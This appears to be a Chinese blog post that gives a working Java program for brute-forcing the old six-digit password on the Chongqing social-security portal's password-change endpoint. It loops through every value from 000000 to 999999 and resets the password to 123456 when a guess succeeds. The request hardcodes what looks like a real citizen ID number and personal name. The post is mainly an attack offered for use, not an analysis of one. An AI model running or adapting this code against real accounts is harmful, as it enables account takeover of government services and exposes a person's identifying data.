• 重庆社保局密码重置


    登录:http://ggfw.cqhrss.gov.cn/ggfw/index1.jsp

    F12获取修改密码路径:http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do

    一、新建实体接受 返回对象

    package com.ycgwl;
    
    public class rel {
        private String code;
        private String message;
        public String getCode() {
            return code;
        }
        public void setCode(String code) {
            this.code = code;
        }
        public String getMessage() {
            return message;
        }
        public void setMessage(String message) {
            this.message = message;
        }
        
    }
    package com.ycgwl;
    
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.OutputStreamWriter;
    import java.net.HttpURLConnection;
    import java.net.URL;
    
    import com.alibaba.fastjson.JSON;
    
    public class Bean {
    
        public static void main(String[] args) {
            String url = "http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do";
            String urlpara = "bh=500102199210245995&xm=文昌平&ymm=pwd&xmm=123456&rmm=123456";
    
            for(int i=465;i<1000000;i++) {
                String pwdd = getPwdString(i);
                if(pwdd.equals("")) {
                    System.out.println("获取密码出错");
                    System.exit(0);
                }
                String result = Post(url,urlpara.replace("pwd", pwdd));
                while("IOException".equals(result)) {
                    result = Post(url,urlpara.replace("pwd", pwdd));
                }
                System.out.println(i+"``````````````````"+result);
                rel rel = JSON.parseObject(result, rel.class);
                if(!rel.getCode().equals("0")) {
                    System.out.println("设置成功");
                    System.exit(0);
                }
            }
    
        }
    
        
        public static String Post(String strURL, String params) {  
            try {  
                URL url = new URL(strURL);// 创建连接  
                HttpURLConnection connection = (HttpURLConnection) url.openConnection();
                connection.setDoOutput(true);  
                connection.setDoInput(true);  
                connection.setUseCaches(false);  
                connection.setInstanceFollowRedirects(true);  
                connection.setRequestMethod("POST"); // 设置请求方式  
                connection.setReadTimeout(100);
                connection.connect();  
                OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "UTF-8"); // utf-8编码  
                out.append(params);  
                out.flush();  
                out.close();  
    
                InputStream is = connection.getInputStream(); 
    
                byte[] temp = new byte[connection.getContentLength()];  
                is.read(temp);
                String result = new String(temp, "UTF-8"); // utf-8编码  
                return result;  
    
            } catch (IOException e) {  
                return "IOException";
            }
        }
    
        
        public static String getPwdString(int index) {
            int length = String.valueOf(index).length();
            switch (length) {
                case 1:
                    return "00000"+index;
                case 2:
                    return "0000"+index;
                case 3:
                    return "000"+index;
                case 4:
                    return "00"+index;
                case 5:
                    return "0"+index;
                case 6:
                    return ""+index;
                default:
                    return "";
            }
        }
    }
  • 相关阅读:
    开源魔兽世界私服搭建
    centos7 普通用户无法使用ssh登录其他服务器
    Java时间格式大全
    C#中的线程之Abort陷阱
    C# 多线程学习系列四之ThreadPool取消、超时子线程操作以及ManualResetEvent和AutoResetEvent信号量的使用
    C# ThreadPool类(线程池)
    VS2019输出信息到调试控制台
    Stream/Bytes[]/Image对象相互转化
    Asp.NetCore 读取配置文件帮助类
    Java SpringBoot使用126邮箱发送html内容邮件,带附件
  • 原文地址:https://www.cnblogs.com/acme6/p/9342478.html
Copyright © 2020-2023  润新知